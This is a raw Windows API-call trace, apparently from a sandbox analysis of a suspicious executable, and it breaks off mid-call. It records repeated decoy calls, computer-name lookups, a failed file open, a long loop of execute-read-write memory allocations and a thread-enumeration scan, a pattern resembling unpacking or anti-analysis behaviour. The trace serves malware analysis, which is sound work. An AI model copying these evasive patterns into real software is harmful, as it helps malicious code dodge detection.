0x0 [0189.219] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.220] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.220] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.220] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.220] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.220] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.220] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.220] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.220] CloseHandle (hObject=0x0) returned 0 [0189.220] CloseHandle (hObject=0xffffffff) returned 1 [0189.220] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.220] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.220] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.220] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.220] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.220] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.220] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.220] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.220] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.220] CloseHandle (hObject=0x0) returned 0 [0189.220] CloseHandle (hObject=0xffffffff) returned 1 [0189.220] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.221] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.221] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.221] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.221] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.221] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.221] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.221] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.221] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.221] CloseHandle (hObject=0x0) returned 0 [0189.221] CloseHandle (hObject=0xffffffff) returned 1 [0189.221] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.221] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.221] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.221] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.221] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.221] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.221] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.221] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.221] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.221] CloseHandle (hObject=0x0) returned 0 [0189.222] CloseHandle (hObject=0xffffffff) returned 1 [0189.222] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.222] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.222] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.222] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.222] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.222] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.222] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.222] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.222] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.222] CloseHandle (hObject=0x0) returned 0 [0189.222] CloseHandle (hObject=0xffffffff) returned 1 [0189.222] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.222] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.222] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.222] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.222] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.222] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.222] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.222] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.223] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.223] CloseHandle (hObject=0x0) returned 0 [0189.223] CloseHandle (hObject=0xffffffff) returned 1 [0189.223] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.223] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.223] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.223] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.223] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.223] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.223] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.223] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.223] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.223] CloseHandle (hObject=0x0) returned 0 [0189.223] CloseHandle (hObject=0xffffffff) returned 1 [0189.224] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.331] CreatePen (iStyle=0, cWidth=1, color=0xb99d7f) returned 0x3e30060b [0189.331] CreateWindowExA (dwExStyle=0x0, lpClassName="SysTreeView32", lpWindowName="", dwStyle=0x50000307, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x0, lpParam=0x0) returned 0x0 [0189.331] lstrlenA (lpString="") returned 0 [0189.331] SendMessageA (hWnd=0x0, Msg=0x1100, wParam=0x0, lParam=0x19f4e0) returned 0x0 [0189.332] CreateFileA (lpFileName="", dwDesiredAccess=0x0, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0189.332] DeviceIoControl (in: hDevice=0xffffffff, dwIoControlCode=0x900c0, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x19f4e0, nOutBufferSize=0x40, lpBytesReturned=0x19f428, lpOverlapped=0x0 | out: lpOutBuffer=0x19f4e0, lpBytesReturned=0x19f428, lpOverlapped=0x0) returned 0 [0189.332] StringFromGUID2 (in: rguid=0x19f4c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lpsz=0x19f530, cchMax=39 | out: lpsz="{00000000-0000-0000-0000-000000000000}") returned 39 [0189.332] EnumSystemGeoID (GeoClass=0x10, ParentGeoId=0x0, lpGeoEnumProc=0x2060000) [0189.333] GetModuleHandleA (lpModuleName="ntdll") returned 0x77bb0000 [0189.333] GetModuleHandleA (lpModuleName="advapi32") returned 0x761b0000 [0189.346] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2010000 [0189.452] VirtualFree (lpAddress=0x2010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0189.457] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2010000 [0189.583] VirtualFree (lpAddress=0x2010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0189.587] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2010000 [0189.703] VirtualFree (lpAddress=0x2010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0189.708] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2010000 [0189.856] VirtualFree (lpAddress=0x2010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0189.861] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2010000 [0189.978] VirtualFree (lpAddress=0x2010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0189.982] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2010000 [0190.084] VirtualFree (lpAddress=0x2010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0190.088] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2010000 [0190.187] VirtualFree (lpAddress=0x2010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0190.192] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2010000 [0190.342] VirtualFree (lpAddress=0x2010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0190.347] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2010000 [0190.478] VirtualFree (lpAddress=0x2010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0190.482] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2010000 [0190.637] VirtualFree (lpAddress=0x2010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0190.641] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2010000 [0190.763] VirtualFree (lpAddress=0x2010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0190.767] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2010000 [0190.897] VirtualFree (lpAddress=0x2010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0190.902] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2010000 [0191.003] VirtualFree (lpAddress=0x2010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0191.011] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2010000 [0191.107] VirtualFree (lpAddress=0x2010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0191.111] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2010000 [0191.209] VirtualFree (lpAddress=0x2010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0191.213] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2010000 [0191.419] VirtualFree (lpAddress=0x2010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0191.423] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2010000 [0191.519] VirtualFree (lpAddress=0x2010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0191.523] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2010000 [0191.629] VirtualFree (lpAddress=0x2010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0191.641] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2010000 [0191.740] VirtualFree (lpAddress=0x2010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0191.744] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2010000 [0191.844] VirtualFree (lpAddress=0x2010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0191.848] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2010000 [0191.949] VirtualFree (lpAddress=0x2010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0191.953] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2010000 [0192.051] VirtualFree (lpAddress=0x2010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0192.058] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2010000 [0192.157] VirtualFree (lpAddress=0x2010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0192.161] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2010000 [0192.259] VirtualFree (lpAddress=0x2010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0192.263] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2010000 [0192.641] VirtualFree (lpAddress=0x2010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0192.645] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2010000 [0192.844] VirtualFree (lpAddress=0x2010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0192.847] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2010000 [0193.030] VirtualFree (lpAddress=0x2010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0193.035] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2010000 [0193.357] VirtualFree (lpAddress=0x2010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0193.362] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2010000 [0193.475] VirtualFree (lpAddress=0x2010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0193.479] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2010000 [0193.710] VirtualFree (lpAddress=0x2010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0193.714] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2010000 [0193.911] VirtualFree (lpAddress=0x2010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0193.983] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2010000 [0194.175] VirtualFree (lpAddress=0x2010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0194.181] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2010000 [0194.488] VirtualFree (lpAddress=0x2010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0194.492] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2010000 [0194.789] VirtualFree (lpAddress=0x2010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0194.794] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2010000 [0195.176] VirtualFree (lpAddress=0x2010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0195.182] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2010000 [0195.501] VirtualFree (lpAddress=0x2010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0195.546] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2010000 [0195.702] VirtualFree (lpAddress=0x2010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0195.707] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2010000 [0195.900] VirtualFree (lpAddress=0x2010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0195.904] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2010000 [0196.103] VirtualFree (lpAddress=0x2010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0196.107] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2010000 [0196.246] VirtualFree (lpAddress=0x2010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0196.251] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2010000 [0196.415] VirtualFree (lpAddress=0x2010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0196.419] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2010000 [0196.554] VirtualFree (lpAddress=0x2010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0196.558] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2010000 [0196.717] VirtualFree (lpAddress=0x2010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0196.721] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2010000 [0196.856] VirtualFree (lpAddress=0x2010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0196.861] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2010000 [0196.994] VirtualFree (lpAddress=0x2010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0196.999] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2010000 [0197.126] VirtualFree (lpAddress=0x2010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0197.138] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2010000 [0197.424] VirtualFree (lpAddress=0x2010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0197.467] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2010000 [0197.608] VirtualFree (lpAddress=0x2010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0197.614] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2010000 [0197.743] VirtualFree (lpAddress=0x2010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0197.747] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2010000 [0197.871] VirtualFree (lpAddress=0x2010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0197.878] GetModuleHandleA (lpModuleName="ntdll") returned 0x77bb0000 [0197.878] GetModuleHandleA (lpModuleName="advapi32") returned 0x761b0000 [0197.903] GetModuleHandleA (lpModuleName="ntdll") returned 0x77bb0000 [0197.903] CreateToolhelp32Snapshot (dwFlags=0x4, th32ProcessID=0x0) returned 0x30c [0197.912] Thread32First (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0197.912] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0197.913] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0197.914] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0197.914] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0197.915] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0197.916] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0197.916] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0197.917] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0197.918] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0197.918] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0197.919] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0197.920] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0197.920] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0197.921] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0197.922] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0197.923] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0197.923] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0197.924] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0197.925] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0197.927] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0197.928] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0197.928] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0197.929] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0197.930] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0197.931] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0197.931] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0197.932] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0197.933] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0197.933] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0197.934] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0197.935] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0197.935] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0197.936] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0197.937] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0197.938] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0197.938] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0197.939] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0197.940] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0197.941] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0197.941] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0197.942] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0197.943] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0197.943] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0197.944] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0197.945] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0197.945] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0197.946] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0197.947] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0197.947] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0197.948] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0197.949] Thread32Next (hSnapshot=0x30c, 